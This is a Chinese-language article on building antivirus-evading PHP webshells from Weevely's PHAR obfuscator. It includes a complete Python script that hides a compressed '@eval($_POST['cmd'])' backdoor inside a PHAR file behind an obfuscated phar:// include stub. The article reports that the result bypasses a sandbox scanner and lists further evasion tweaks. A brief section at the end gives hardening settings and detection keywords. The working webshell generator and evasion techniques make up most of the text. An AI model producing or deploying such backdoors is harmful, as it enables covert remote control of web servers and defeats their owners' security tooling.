实战Weevely管理工具免杀马研究即生成另类免杀马
字数 2518 2025-08-29 22:41:32
Weevely管理工具免杀马研究及生成另类免杀马
一、背景与概述
Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,功能类似于中国菜刀。本文主要研究Weevely生成的PHP木马的免杀技术,特别是利用PHAR文件格式实现的免杀方法。
二、Weevely客户端生成源码分析
1. Weevely目录结构
Weevely源码中包含以下关键目录:
bd/agent:存放webshell代码执行的PHP代码bd/obfuscators:存放混淆代码执行的代码
2. 生成命令
生成木马的基本命令格式:
weevely generate -agent obfpost_php -obfuscator obfusc1_php "An0ma1" ./An0ma1.php
其中:
obfpost_php:指定使用的agent类型obfusc1_php:指定使用的混淆器An0ma1:连接密码./An0ma1.php:输出文件路径
3. 混淆器类型
cleartext1_php:无混淆模式,直接输出代码执行的连接代码obfusc1_php:基础混淆模式,但混淆力度不够,容易被杀phar混淆器:重点研究对象,微步云沙箱报正常文件
三、PHAR文件格式详解
PHAR(PHP Archive)是PHP的归档文件格式,类似于JAR文件,可将多个PHP文件、资源打包为单一文件。
1. PHAR文件结构
PHAR文件分为四部分:
- Stub部分:PHP可执行代码,必须以
__HALT_COMPILER(); ?>结尾 - Manifest元数据:二进制数据,小端序
- 数据存储:实际存储的文件内容
- 签名部分:文件签名
2. PHAR文件示例
<?php
class TestObject {}
$phar = new Phar("phar.phar"); // 后缀名必须为phar
$phar->startBuffering(); // 开启缓存
$phar->setStub("<?php __HALT_COMPILER();?>"); // 设置stub
$o = new TestObject();
$phar->setMetadata($o); // 设置元数据
$phar->addFromString("An0ma1.txt", "An0ma1"); // 添加数据存储
$phar->stopBuffering(); // 结束后会自动签名
?>
3. Manifest元数据结构
| 偏移量 | 长度 | 字段 | 说明 |
|---|---|---|---|
| 0x00 | 4 | Manifest长度 | 总长度 |
| 0x04 | 4 | 文件数量 | 包含的文件数量 |
| 0x08 | 2 | API版本 | PHAR版本 |
| 0x0A | 4 | 全局标志 | 压缩+SHA1签名 |
| 0x0E | 4 | 别名长度 | 无别名时为0 |
| 0x12 | 4 | 元数据类型 | 无序列化metadata时为0 |
4. 数据存储结构
| 偏移量 | 长度 | 字段 | 说明 |
|---|---|---|---|
| 0x00 | 4 | 文件名长度 | 文件名长度 |
| 0x04 | 实际长度 | 文件名内容 | ASCII字符 |
| 0x05 | 4 | 原始大小 | 未压缩文件内容长度 |
| 0x09 | 4 | Unix时间戳 | 时间戳 |
| 0x0D | 4 | 压缩后大小 | 压缩后文件内容长度 |
| 0x11 | 4 | CRC32校验值 | 校验和计算值 |
| 0x15 | 4 | 权限+压缩标志 | 权限与压缩标志组合 |
| 0x19 | 4 | 元数据长度 | 无附加元数据时为0 |
四、免杀马原理分析
1. 免杀马模板代码
clean_agent = agent.strip(b'\n')
stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>"""
fname = b'x'
f = b'<?php eval(\'' + clean_agent + b'\');'
fenc = zlib.compress(f)[2:-4] # 去除zlib头尾
flags = 0x00011000
2. 关键免杀技术
-
Stub部分混淆:
- 使用八进制和十六进制编码混淆路径
- 包含
basename(__FILE__)动态获取文件名 - 必须包含
__HALT_COMPILER(); ?>标记
-
文件内容压缩:
- 使用zlib压缩恶意代码
- 去除zlib头尾(
[2:-4]) - 设置压缩标志
0x00001000激活自动解压
-
权限设置:
0o777 | 0x00001000设置文件权限和压缩标志- 实际值为
\xff\x11\x00\x00(小端序)
-
签名部分:
- SHA1签名(20字节)
- 签名类型
0x0002表示SHA1 - 魔术签名
GBMB格式固定
3. 自动解压机制
PHAR文件的自动解压依赖于文件条目中的压缩标志位0x00001000(对应PharEntry::COMPRESSED),激活后PHP会自动解压文件内容。
五、自写免杀马生成脚本
import io
import zlib
import base64
import hashlib
import argparse
def generate_phar(agent_code: bytes) -> bytes:
# 清理输入代码
clean_agent = agent_code.strip(b'\n')
# 1. 构造Phar存根(路径混淆)
stub = b"""<?php include "\\160\\x68\\141\\x72\\72\\57\\57".basename(__FILE__)."\\57\\x78";__HALT_COMPILER(); ?>"""
# 2. 构造内部恶意代码
fname = b'x'
f = clean_agent
# 3. 压缩内容(绕过基础检测)
fenc = zlib.compress(f)[2:-4] # 移除zlib头尾
# 4. 初始化二进制流
output = io.BytesIO()
output.write(stub)
# 5. 写入Manifest占位符
manifest_len_cursor = output.tell()
output.write(b'\0\0\0\0')
# 6. 构建Manifest结构
output.write((1).to_bytes(4, 'little'))
output.write(b'\x11\x00')
output.write((0x00011000).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little'))
# 7. 写入文件条目
output.write(len(fname).to_bytes(4, 'little'))
output.write(fname)
output.write(len(f).to_bytes(4, 'little'))
output.write(int(0).to_bytes(4, 'little'))
output.write(len(fenc).to_bytes(4, 'little'))
output.write(zlib.crc32(f).to_bytes(4, 'little'))
output.write((0o777 | 0x00001000).to_bytes(4, 'little'))
output.write((0).to_bytes(4, 'little'))
# 8. 修正Manifest长度
manifest_len = output.tell() - manifest_len_cursor - 4
output.seek(manifest_len_cursor)
output.write(manifest_len.to_bytes(4, 'little'))
# 9. 追加压缩内容
output.seek(0, io.SEEK_END)
output.write(fenc)
# 10. 计算签名
full_content = output.getvalue()
output.write(hashlib.sha1(full_content).digest())
output.write((0x0002).to_bytes(4, 'little'))
output.write(b'GBMB')
return base64.b64encode(output.getvalue())
if __name__ == "__main__":
code = "<?php @eval($_POST['cmd']);?>"
# 生成并输出Base64结果
b64_phar = generate_phar(code.encode('utf-8'))
print(f"b64:{b64_phar.decode('utf-8')}")
with open("123.php", "wb") as f:
f.write(base64.b64decode(b64_phar))
print("Done!")
脚本说明
- 支持自定义恶意代码(可替换为冰蝎、哥斯拉、蚁剑的连接代码)
- 生成Base64编码的PHAR文件
- 自动写入到指定文件
- 兼容PHP 5.3+版本
六、免杀马进一步魔改思路
-
Stub部分:
__HALT_COMPILER(); ?>之前的代码可以任意修改- 路径混淆方式可以多样化
-
压缩方式:
0x00002000:Bzip2压缩0x0000F000:压缩算法掩码- 替代默认的zlib压缩(
0x00001000)
-
权限设置:
- 将
0o777改为0o750等较低权限
- 将
-
签名类型:
0x0001:MD5签名0x0004:OpenSSL签名
-
其他字段修改:
- 文件名修改
- 别名长度修改
- 元数据类型修改
- API版本修改
- Unix时间戳修改
- 全局标识修改
七、防御措施
-
PHP配置:
phar.readonly = On allow_url_include = Off -
禁用PHAR扩展:在生产环境中禁用不必要的PHAR扩展
-
杀软检测策略:
- 对web文件(php, phar, phtml, pht等)进行熵值检测
- 查杀以下关键字的组合:
GMBN\xff\x11\x00\x00basename(__FILE__)
-
文件监控:
- 监控服务器上异常的PHAR文件创建
- 检查文件权限异常变化
八、测试结果
- 冰蝎:测试成功
- 哥斯拉:测试成功
- 杀软绕过:
- 微步云沙箱报告为正常文件
- 卡巴斯基可能使用熵值检测或关键词检测(如
include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>)
九、总结
通过深入研究Weevely工具的PHAR混淆器实现原理,我们可以:
- 理解PHAR文件格式的结构和特性
- 掌握利用PHAR自动解压机制实现免杀的技术
- 开发自定义的免杀马生成工具
- 提出针对性的防御措施
这种免杀技术本质上是在PHAR文件中嵌入其他PHP代码(如冰蝎、哥斯拉、蚁剑的连接代码),利用PHAR文件的特性绕过常规检测,具有较高的隐蔽性和实用性。